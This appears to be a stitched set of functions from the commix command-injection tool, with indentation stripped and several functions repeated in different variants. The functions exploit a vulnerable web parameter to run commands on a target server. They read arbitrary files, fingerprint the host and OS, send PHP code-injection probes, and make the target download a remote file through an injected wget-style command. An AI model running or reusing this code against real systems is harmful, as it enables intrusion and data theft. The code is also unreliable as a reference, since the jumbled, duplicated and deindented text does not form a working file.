def file_read(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename):
file_to_read = menu.options.file_read
# Execute command
if settings.TARGET_OS == "win":
cmd = settings.WIN_FILE_READ + file_to_read
else:
cmd = settings.FILE_READ + file_to_read
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
# Command execution results.
response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
# Evaluate injection results.
shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec)
shell = "".join(str(p) for p in shell)
session_handler.store_cmd(url, cmd, shell, vuln_parameter)
else:
shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
if settings.VERBOSITY_LEVEL != 0 and menu.options.ignore_session:
print(settings.SPACE)
if shell:
info_msg = "The contents of file '"
info_msg += file_to_read + "'" + Style.RESET_ALL + ": "
sys.stdout.write(settings.print_bold_info_msg(info_msg))
print(shell)
output_file = open(filename, "a")
info_msg = "The contents of file '"
info_msg += file_to_read + "' : " + shell + ".\n"
output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
output_file.close()
else:
warn_msg = "It seems that you don't have permissions "
warn_msg += "to read the '" + file_to_read + "' file."
sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n")
sys.stdout.flush()
def hostname(separator, TAG, prefix, suffix, whitespace, http_request_method,
url, vuln_parameter, alter_shell, filename, timesec):
if settings.TARGET_OS == "win":
settings.HOSTNAME = settings.WIN_HOSTNAME
cmd = settings.HOSTNAME
if session_handler.export_stored_cmd(
url, cmd, vuln_parameter) == None or menu.options.ignore_session:
# Command execution results.
response = cb_injector.injection(separator, TAG, cmd, prefix, suffix,
whitespace, http_request_method, url,
vuln_parameter, alter_shell, filename)
# Perform target page reload (if it is required).
if settings.URL_RELOAD:
response = requests.url_reload(url, timesec)
# Evaluate injection results.
shell = cb_injector.injection_results(response, TAG, cmd)
shell = "".join(str(p) for p in shell)
session_handler.store_cmd(url, cmd, shell, vuln_parameter)
else:
shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
if shell:
shell = "".join(str(p) for p in shell)
info_msg = "The hostname is " + str(shell)
sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".\n")
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
info_msg = "The hostname is " + str(shell) + ".\n"
output_file.write(
re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub(
"", settings.INFO_BOLD_SIGN) + info_msg)
output_file.close()
else:
warn_msg = "Heuristics have failed to identify the hostname."
print(settings.print_warning_msg(warn_msg))
def hostname(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec,
http_request_method, url, vuln_parameter, alter_shell, filename,
url_time_response):
_ = False
cmd = settings.HOSTNAME
if session_handler.export_stored_cmd(
url, cmd, vuln_parameter) == None or menu.options.ignore_session:
# The main command injection exploitation.
check_how_long, output = tb_injector.injection(
separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec,
http_request_method, url, vuln_parameter, alter_shell, filename,
url_time_response)
session_handler.store_cmd(url, cmd, output, vuln_parameter)
_ = True
else:
output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
shell = output
if shell:
if settings.VERBOSITY_LEVEL == 0 and _:
print(settings.SINGLE_WHITESPACE)
info_msg = "The hostname is " + str(shell)
sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".")
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
info_msg = "The hostname is " + str(shell) + ".\n"
output_file.write(
re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub(
"", settings.INFO_BOLD_SIGN) + info_msg)
output_file.close()
else:
warn_msg = "Heuristics have failed to identify the hostname."
print(settings.print_warning_msg(warn_msg))
def powershell_version(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response):
_ = False
cmd = settings.PS_VERSION
if alter_shell:
cmd = cmd.replace("'","\\'")
# Command execution results.
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
# The main command injection exploitation.
check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
session_handler.store_cmd(url, cmd, output, vuln_parameter)
_ = True
else:
output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
ps_version = output
try:
if float(ps_version):
settings.PS_ENABLED = True
ps_version = "".join(str(p) for p in output)
if settings.VERBOSITY_LEVEL == 0 and _:
print(settings.SINGLE_WHITESPACE)
# Output PowerShell's version number
info_msg = "The PowerShell's version number is "
info_msg += ps_version + Style.RESET_ALL + Style.BRIGHT
sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".")
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
info_msg = "The PowerShell's version number is " + ps_version + ".\n"
output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
output_file.close()
except ValueError:
warn_msg = "Heuristics have failed to identify the version of Powershell, "
warn_msg += "which means that some payloads or injection techniques may be failed."
print("\n" + settings.print_warning_msg(warn_msg))
settings.PS_ENABLED = False
def heuristic_basic(url, http_request_method):
test_type = "code injection"
try:
try:
if re.findall(r"=(.*)&", url):
url = url.replace("/&", "/e&")
elif re.findall(r"=(.*)&", menu.options.data):
menu.options.data = menu.options.data.replace("/&", "/e&")
except TypeError as err_msg:
pass
if not settings.IDENTIFIED_WARNINGS:
if settings.VERBOSITY_LEVEL >= 1:
debug_msg = "Performing heuristic (" + test_type + ") test."
print(settings.print_debug_msg(debug_msg))
if http_request_method == "GET":
request = _urllib.request.Request(url.replace(settings.INJECT_TAG, settings.BASIC_TEST))
else:
request = _urllib.request.Request(url, menu.options.data.replace(settings.INJECT_TAG, settings.BASIC_TEST))
headers.do_check(request)
response = requests.get_request_response(request)
html_data = response.read().decode(settings.UNICODE_ENCODING)
for warning in settings.CODE_INJECTION_WARNINGS:
if warning in html_data:
technique = "dynamic code evaluation technique"
info_msg = "Heuristic (" + test_type + ") test shows that target URL might be injectable."
print(settings.print_bold_info_msg(info_msg))
settings.IDENTIFIED_WARNINGS = True
break
return url
except _urllib.error.URLError as err_msg:
print(settings.print_critical_msg(err_msg))
raise SystemExit()
except _urllib.error.HTTPError as err_msg:
print(settings.print_critical_msg(err_msg))
raise SystemExit()
def authentication_process():
try:
auth_url = menu.options.auth_url
auth_data = menu.options.auth_data
#cj = cookielib.CookieJar()
cj = _http_cookiejar.CookieJar()
opener = _urllib.request.build_opener(
_urllib.request.HTTPCookieProcessor(cj))
# request = opener.open(_urllib.request.Request(auth_url))
cookies = ""
for cookie in cj:
cookie_values = cookie.name + "=" + cookie.value + "; "
cookies += cookie_values
if len(cookies) != 0:
menu.options.cookie = cookies.rstrip()
if settings.VERBOSITY_LEVEL != 0:
info_msg = "The received cookie is "
info_msg += str(menu.options.cookie) + Style.RESET_ALL + "."
print(settings.print_bold_info_msg(info_msg))
_urllib.request.install_opener(opener)
request = _urllib.request.Request(auth_url, auth_data)
# Check if defined extra headers.
headers.do_check(request)
#headers.check_http_traffic(request)
# Get the response of the request.
response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT)
return response
except _urllib.error.HTTPError as err_msg:
print(settings.print_critical_msg(err_msg))
raise SystemExit()
except ValueError as err_msg:
print(settings.print_critical_msg(err_msg))
raise SystemExit()
def system_information(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename):
if settings.TARGET_OS == "win":
settings.RECOGNISE_OS = settings.WIN_RECOGNISE_OS
cmd = settings.RECOGNISE_OS
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
# Command execution results.
response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
# Evaluate injection results.
target_os = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec)
target_os = "".join(str(p) for p in target_os)
session_handler.store_cmd(url, cmd, target_os, vuln_parameter)
else:
target_os = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
if target_os:
target_os = "".join(str(p) for p in target_os)
if settings.TARGET_OS != "win":
cmd = settings.DISTRO_INFO
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
# Command execution results.
response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
# Perform target page reload (if it is required).
if settings.URL_RELOAD:
response = requests.url_reload(url, timesec)
# Evaluate injection results.
distro_name = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec)
distro_name = "".join(str(p) for p in distro_name)
if len(distro_name) != 0:
target_os = target_os + " (" + distro_name + ")"
session_handler.store_cmd(url, cmd, target_os, vuln_parameter)
else:
target_os = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
if settings.TARGET_OS == "win":
cmd = settings.WIN_RECOGNISE_HP
else:
cmd = settings.RECOGNISE_HP
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
# Command execution results.
response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
# Evaluate injection results.
target_arch = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec)
target_arch = "".join(str(p) for p in target_arch)
session_handler.store_cmd(url, cmd, target_arch, vuln_parameter)
else:
target_arch = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
if target_arch:
# if settings.VERBOSITY_LEVEL != 0:
# print("")
info_msg = "The target operating system is " + str(target_os) + Style.RESET_ALL
info_msg += Style.BRIGHT + " and the hardware platform is " + str(target_arch)
sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".\n")
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
info_msg = "The target operating system is " + str(target_os)
info_msg += " and the hardware platform is " + str(target_arch) + ".\n"
output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
output_file.close()
else:
warn_msg = "Heuristics have failed to retrieve the system information."
print(settings.print_warning_msg(warn_msg))
def snif(ip_dst, ip_src):
info_msg = "Started the sniffer between " + Fore.YELLOW + ip_src
info_msg += Style.RESET_ALL + Style.BRIGHT + " and " + Fore.YELLOW
info_msg += ip_dst + Style.RESET_ALL + Style.BRIGHT + "."
print(settings.print_bold_info_msg(info_msg))
while True:
sniff(filter = "icmp and src " + ip_dst, prn=packet_handler, timeout=settings.TIMESEC)
def heuristic_basic(url, http_request_method):
injection_type = "results-based dynamic code evaluation"
technique = "dynamic code evaluation technique"
technique = "(" + injection_type.split(" ")[0] + ") " + technique + ""
if menu.options.skip_heuristics:
if settings.VERBOSITY_LEVEL != 0:
debug_msg = "Skipping (basic) heuristic detection for " + technique + "."
print(settings.print_debug_msg(debug_msg))
return url
else:
settings.EVAL_BASED_STATE = True
try:
try:
if re.findall(r"=(.*)&", url):
url = url.replace("/&", "/e&")
elif re.findall(r"=(.*)&", menu.options.data):
menu.options.data = menu.options.data.replace("/&", "/e&")
except TypeError as err_msg:
pass
if not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_PHPINFO:
if settings.VERBOSITY_LEVEL != 0:
debug_msg = "Starting (basic) heuristic detection for " + technique + "."
print(settings.print_debug_msg(debug_msg))
for payload in settings.PHPINFO_CHECK_PAYLOADS:
payload = checks.perform_payload_modification(payload)
if settings.VERBOSITY_LEVEL >= 1:
print(settings.print_payload(payload))
if not menu.options.data:
request = _urllib.request.Request(url.replace(settings.INJECT_TAG, payload))
else:
data = menu.options.data.replace(settings.INJECT_TAG, payload)
request = _urllib.request.Request(url, data.encode(settings.UNICODE_ENCODING))
headers.do_check(request)
response = requests.get_request_response(request)
if type(response) is not bool:
html_data = checks.page_encoding(response, action="decode")
match = re.search(settings.CODE_INJECTION_PHPINFO, html_data)
if match:
technique = technique + " (possible PHP version: '" + match.group(1) + "')"
settings.IDENTIFIED_PHPINFO = True
else:
for warning in settings.CODE_INJECTION_WARNINGS:
if warning in html_data:
settings.IDENTIFIED_WARNINGS = True
break
if settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_PHPINFO:
info_msg = "Heuristic detection shows that target might be injectable via " + technique + "."
print(settings.print_bold_info_msg(info_msg))
break
settings.EVAL_BASED_STATE = False
return url
except (_urllib.error.URLError, _urllib.error.HTTPError) as err_msg:
print(settings.print_critical_msg(err_msg))
raise SystemExit()
def system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response):
_ = False
if settings.TARGET_OS == "win":
settings.RECOGNISE_OS = settings.WIN_RECOGNISE_OS
cmd = settings.RECOGNISE_OS
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
# The main command injection exploitation.
check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
session_handler.store_cmd(url, cmd, output, vuln_parameter)
_ = True
else:
output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
target_os = output
if settings.VERBOSITY_LEVEL == 0 and _:
print(settings.SINGLE_WHITESPACE)
if target_os:
if settings.TARGET_OS != "win":
cmd = settings.DISTRO_INFO
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
if settings.VERBOSITY_LEVEL == 0 and _:
sys.stdout.write("")
check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
session_handler.store_cmd(url, cmd, output, vuln_parameter)
else:
output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
distro_name = output
if len(distro_name) != 0:
target_os = target_os + " (" + distro_name + ")"
if settings.TARGET_OS == "win":
cmd = settings.WIN_RECOGNISE_HP
else:
cmd = settings.RECOGNISE_HP
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
if settings.VERBOSITY_LEVEL == 0 and _:
sys.stdout.write("\n")
# The main command injection exploitation.
check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
session_handler.store_cmd(url, cmd, output, vuln_parameter)
else:
output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
target_arch = output
if target_arch:
if settings.VERBOSITY_LEVEL == 0 and _:
print(settings.SINGLE_WHITESPACE)
info_msg = "The target operating system is " + str(target_os) + Style.RESET_ALL
info_msg += Style.BRIGHT + " and the hardware platform is " + str(target_arch)
sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".")
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
info_msg = "The target operating system is " + str(target_os)
info_msg += " and the hardware platform is " + str(target_arch) + ".\n"
output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
output_file.close()
else:
warn_msg = "Heuristics have failed to retrieve the system information."
print(settings.print_warning_msg(warn_msg))
def file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response):
_ = False
if settings.TARGET_OS == "win":
# Not yet implemented
pass
else:
file_to_upload = menu.options.file_upload
# check if remote file exists.
try:
_urllib.request.urlopen(file_to_upload, timeout=settings.TIMEOUT)
except _urllib.error.HTTPError as err_msg:
warn_msg = "It seems that the '" + file_to_upload + "' file, does not exist. (" +str(err_msg)+ ")"
sys.stdout.write("\n" + settings.print_warning_msg(warn_msg) + "\n")
sys.stdout.flush()
raise SystemExit()
except ValueError as err_msg:
err_msg = str(err_msg[0]).capitalize() + str(err_msg)[1]
sys.stdout.write(settings.print_critical_msg(err_msg) + "\n")
sys.stdout.flush()
raise SystemExit()
# Check the file-destination
if os.path.split(menu.options.file_dest)[1] == "" :
dest_to_upload = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_upload)[1]
elif os.path.split(menu.options.file_dest)[0] == "/":
dest_to_upload = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_upload)[1]
else:
dest_to_upload = menu.options.file_dest
# Execute command
cmd = settings.FILE_UPLOAD + file_to_upload + " -O " + dest_to_upload
check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
shell = output
shell = "".join(str(p) for p in shell)
# Check if file exists!
if settings.TARGET_OS == "win":
cmd = "dir " + dest_to_upload + ")"
else:
cmd = "echo $(ls " + dest_to_upload + ")"
print("")
check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
shell = output
try:
shell = "".join(str(p) for p in shell)
except TypeError:
pass
if settings.VERBOSITY_LEVEL < 1 and _:
print("")
if shell:
info_msg = "The '" + shell + Style.RESET_ALL
info_msg += Style.BRIGHT + "' file was uploaded successfully!"
sys.stdout.write("\n" + settings.print_bold_info_msg(info_msg) + "\n")
sys.stdout.flush()
else:
warn_msg = "It seems that you don't have permissions to "
warn_msg += "write the '" + dest_to_upload + "' file."
sys.stdout.write("\n" + settings.print_warning_msg(warn_msg) + "\n")
def file_upload(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec):
if settings.TARGET_OS == "win":
# Not yet implemented
pass
else:
file_to_upload = menu.options.file_upload
# check if remote file exists.
try:
_urllib.request.urlopen(file_to_upload, timeout=settings.TIMEOUT)
except _urllib.error.HTTPError as err_msg:
warn_msg = "It seems that the '" + file_to_upload + "' file, does not exist. (" +str(err_msg)+ ")"
sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n")
sys.stdout.flush()
raise SystemExit()
except ValueError as err_msg:
err_msg = str(err_msg[0]).capitalize() + str(err_msg)[1]
sys.stdout.write(settings.print_critical_msg(err_msg) + "\n")
sys.stdout.flush()
raise SystemExit()
# Check the file-destination
if os.path.split(menu.options.file_dest)[1] == "" :
dest_to_upload = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_upload)[1]
elif os.path.split(menu.options.file_dest)[0] == "/":
dest_to_upload = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_upload)[1]
else:
dest_to_upload = menu.options.file_dest
# Execute command
cmd = settings.FILE_UPLOAD + file_to_upload + " -O " + dest_to_upload
response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
shell = cb_injector.injection_results(response, TAG, cmd)
shell = "".join(str(p) for p in shell)
# Check if file exists!
if settings.TARGET_OS == "win":
cmd = "dir " + dest_to_upload + ")"
else:
cmd = "echo $(ls " + dest_to_upload + ")"
if settings.USE_BACKTICKS:
cmd = cmd.replace("echo $(","").replace(")","")
response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
shell = cb_injector.injection_results(response, TAG, cmd)
shell = "".join(str(p) for p in shell)
if settings.VERBOSITY_LEVEL != 0:
print("")
if shell:
info_msg = "The " + shell
info_msg += Style.RESET_ALL + Style.BRIGHT + " file was uploaded successfully!"
sys.stdout.write(settings.print_bold_info_msg(info_msg) + "\n")
sys.stdout.flush()
else:
warn_msg = "It seems that you don't have permissions to write the '" + dest_to_upload + "' file."
sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n")
sys.stdout.flush()
def file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec,
http_request_method, url, vuln_parameter, alter_shell, filename,
url_time_response):
_ = False
file_to_read = menu.options.file_read
# Execute command
if settings.TARGET_OS == "win":
cmd = settings.WIN_FILE_READ + file_to_read
else:
cmd = settings.FILE_READ + file_to_read
if session_handler.export_stored_cmd(
url, cmd, vuln_parameter) == None or menu.options.ignore_session:
# The main command injection exploitation.
check_how_long, output = tb_injector.injection(
separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec,
http_request_method, url, vuln_parameter, alter_shell, filename,
url_time_response)
session_handler.store_cmd(url, cmd, output, vuln_parameter)
_ = True
new_line = "\n"
else:
output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
shell = output
try:
shell = "".join(str(p) for p in shell)
except TypeError:
pass
if settings.VERBOSITY_LEVEL < 1 and _:
print("")
if shell:
info_msg = "The contents of file '"
info_msg += file_to_read + Style.RESET_ALL + Style.BRIGHT
info_msg += "'" + Style.RESET_ALL + " : "
sys.stdout.write(settings.print_bold_info_msg(info_msg))
sys.stdout.flush()
print(shell)
output_file = open(filename, "a")
info_msg = "The contents of file '"
info_msg += file_to_read + "' : " + shell + ".\n"
output_file.write(
re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub(
"", settings.INFO_BOLD_SIGN) + info_msg)
output_file.close()
else:
warn_msg = "It seems that you don't have permissions "
warn_msg += "to read the '" + file_to_read + "' file."
sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n")
sys.stdout.flush()
def powershell_version(separator, payload, TAG, timesec, prefix, suffix,
whitespace, http_request_method, url, vuln_parameter,
OUTPUT_TEXTFILE, alter_shell, filename):
cmd = settings.PS_VERSION
if alter_shell:
cmd = cmd.replace("'", "\\'")
else:
cmd = "\"" + cmd + "\""
# Evaluate injection results.
if session_handler.export_stored_cmd(
url, cmd, vuln_parameter) == None or menu.options.ignore_session:
# Command execution results.
response = fb_injector.injection(separator, payload, TAG, cmd, prefix,
suffix, whitespace,
http_request_method, url,
vuln_parameter, OUTPUT_TEXTFILE,
alter_shell, filename)
# Evaluate injection results.
ps_version = fb_injector.injection_results(url, OUTPUT_TEXTFILE,
timesec)
ps_version = "".join(str(p) for p in ps_version)
session_handler.store_cmd(url, cmd, ps_version, vuln_parameter)
else:
ps_version = session_handler.export_stored_cmd(url, cmd,
vuln_parameter)
try:
if float(ps_version):
settings.PS_ENABLED = True
# if settings.VERBOSITY_LEVEL >= 1:
# print("")
# Output PowerShell's version number
info_msg = "The PowerShell's version number is "
info_msg += ps_version + Style.RESET_ALL + Style.BRIGHT
sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".\n")
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
info_msg = "The PowerShell's version number is " + ps_version + ".\n"
output_file.write(
re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub(
"", settings.INFO_BOLD_SIGN) + info_msg)
output_file.close()
except ValueError:
warn_msg = "Heuristics have failed to identify the version of Powershell, "
warn_msg += "which means that some payloads or injection techniques may be failed."
print(settings.print_warning_msg(warn_msg))
settings.PS_ENABLED = False
def heuristic_basic(url, http_request_method):
technique = "dynamic code evaluation technique"
try:
try:
if re.findall(r"=(.*)&", url):
url = url.replace("/&", "/e&")
elif re.findall(r"=(.*)&", menu.options.data):
menu.options.data = menu.options.data.replace("/&", "/e&")
except TypeError as err_msg:
pass
if not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_PHPINFO:
if settings.VERBOSITY_LEVEL != 0:
debug_msg = "Performing heuristic test for " + technique + "."
print(settings.print_debug_msg(debug_msg))
if http_request_method == "GET":
request = _urllib.request.Request(
url.replace(settings.INJECT_TAG, settings.BASIC_TEST))
else:
data = menu.options.data.replace(settings.INJECT_TAG,
settings.BASIC_TEST)
request = _urllib.request.Request(
url, data.encode(settings.UNICODE_ENCODING))
headers.do_check(request)
response = requests.get_request_response(request)
if type(response) is not bool:
html_data = checks.page_encoding(response, action="decode")
match = re.search(settings.CODE_INJECTION_PHPINFO, html_data)
if match:
technique = technique + " (possible PHP version: '" + match.group(
1) + "')"
settings.IDENTIFIED_PHPINFO = True
else:
for warning in settings.CODE_INJECTION_WARNINGS:
if warning in html_data:
settings.IDENTIFIED_WARNINGS = True
break
if settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_PHPINFO:
info_msg = "Heuristic test shows that target might be injectable via " + technique + "."
print(settings.print_bold_info_msg(info_msg))
return url
except (_urllib.error.URLError, _urllib.error.HTTPError) as err_msg:
print(settings.print_critical_msg(err_msg))
raise SystemExit()
def uninstaller():
info_msg = "Starting the uninstaller. "
sys.stdout.write(settings.print_info_msg(info_msg))
sys.stdout.flush()
try:
subprocess.Popen("rm -rf /usr/bin/" + settings.APPLICATION +
" >/dev/null 2>&1",
shell=True).wait()
subprocess.Popen("rm -rf /usr/share/" + settings.APPLICATION +
" >/dev/null 2>&1",
shell=True).wait()
except:
print(settings.SINGLE_WHITESPACE)
raise SystemExit()
sys.stdout.write(settings.SUCCESS_STATUS + "\n")
sys.stdout.flush()
info_msg = "The un-installation of commix has finished!"
print(settings.print_bold_info_msg(info_msg))
def third_party_dependencies():
info_msg = "Checking for third-party (non-core) libraries. "
sys.stdout.write(settings.print_info_msg(info_msg))
sys.stdout.flush()
try:
import sqlite3
except ImportError:
print(settings.FAIL_STATUS)
err_msg = settings.APPLICATION + " requires 'sqlite3' third-party library "
err_msg += "in order to store previous injection points and commands. "
print(settings.print_critical_msg(err_msg))
raise SystemExit()
try:
import readline
except ImportError:
if settings.IS_WINDOWS:
try:
import pyreadline
except ImportError:
print(settings.FAIL_STATUS)
err_msg = settings.APPLICATION + " requires 'pyreadline' third-party library "
err_msg += "in order to be able to take advantage of the TAB "
err_msg += "completion and history support features. "
print(settings.print_critical_msg(err_msg))
raise SystemExit()
else:
try:
import gnureadline
except ImportError:
print(settings.FAIL_STATUS)
err_msg = settings.APPLICATION + " requires 'gnureadline' third-party library "
err_msg += "in order to be able to take advantage of the TAB "
err_msg += "completion and history support features. "
print(settings.print_critical_msg(err_msg))
pass
print(settings.SUCCESS_STATUS)
info_msg = "All required third-party (non-core) libraries are seems to be installed."
print(settings.print_bold_info_msg(info_msg))
def smoke_test():
info_msg = "Executing smoke test."
print(settings.print_info_msg(info_msg))
_ = True
file_paths = []
for root, directories, filenames in os.walk(settings.COMMIX_ROOT_PATH):
file_paths.extend(
[os.path.abspath(os.path.join(root, i)) for i in filenames])
for filename in file_paths:
if os.path.splitext(filename)[1].lower(
) == ".py" and not "__init__.py" in filename:
path = os.path.join(settings.COMMIX_ROOT_PATH,
os.path.splitext(filename)[0])
path = path.replace(settings.COMMIX_ROOT_PATH, '.')
path = path.replace(os.sep, '.').lstrip('.')
if "." in path:
try:
__import__(path)
if settings.VERBOSITY_LEVEL != 0:
debug_msg = "Succeeded importing '" + str(
path) + "' module."
print(settings.print_debug_msg(debug_msg))
except Exception as ex:
error_msg = "Failed importing '" + path + "' module due to '" + str(
ex) + "'."
print(settings.print_error_msg(error_msg))
_ = False
result = "Smoke test "
if _:
result = result + "passed."
print(settings.print_bold_info_msg(result))
else:
result = result + "failed."
print(settings.print_bold_error_msg(result))
raise SystemExit()
def hostname(separator, payload, TAG, timesec, prefix, suffix, whitespace,
http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE,
alter_shell, filename):
if settings.TARGET_OS == "win":
settings.HOSTNAME = settings.WIN_HOSTNAME
cmd = settings.HOSTNAME
if session_handler.export_stored_cmd(
url, cmd, vuln_parameter) == None or menu.options.ignore_session:
# Command execution results.
response = fb_injector.injection(separator, payload, TAG, cmd, prefix,
suffix, whitespace,
http_request_method, url,
vuln_parameter, OUTPUT_TEXTFILE,
alter_shell, filename)
# Evaluate injection results.
shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec)
shell = "".join(str(p) for p in shell)
session_handler.store_cmd(url, cmd, shell, vuln_parameter)
else:
shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
if shell:
# if settings.VERBOSITY_LEVEL != 0:
# print(settings.SPACE)
info_msg = "The hostname is " + str(shell)
sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".\n")
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
info_msg = "The hostname is " + str(shell) + ".\n"
output_file.write(
re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub(
"", settings.INFO_BOLD_SIGN) + info_msg)
output_file.close()
else:
warn_msg = "Heuristics have failed to identify the hostname."
print(settings.print_warning_msg(warn_msg))
def process_json_data():
while True:
info_msg = "JSON data found in POST data."
if not menu.options.batch:
question_msg = info_msg
question_msg += " Do you want to process it? [Y/n] > "
json_process = _input(settings.print_question_msg(question_msg))
else:
if settings.VERBOSITY_LEVEL >= 1:
print(settings.print_bold_info_msg(info_msg))
json_process = ""
if len(json_process) == 0:
json_process = "Y"
if json_process in settings.CHOICE_YES:
settings.IS_JSON = True
break
elif json_process in settings.CHOICE_NO:
break
elif json_process in settings.CHOICE_QUIT:
raise SystemExit()
else:
err_msg = "'" + json_process + "' is not a valid answer."
print(settings.print_error_msg(err_msg))
pass
def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, url_time_response):
counter = 1
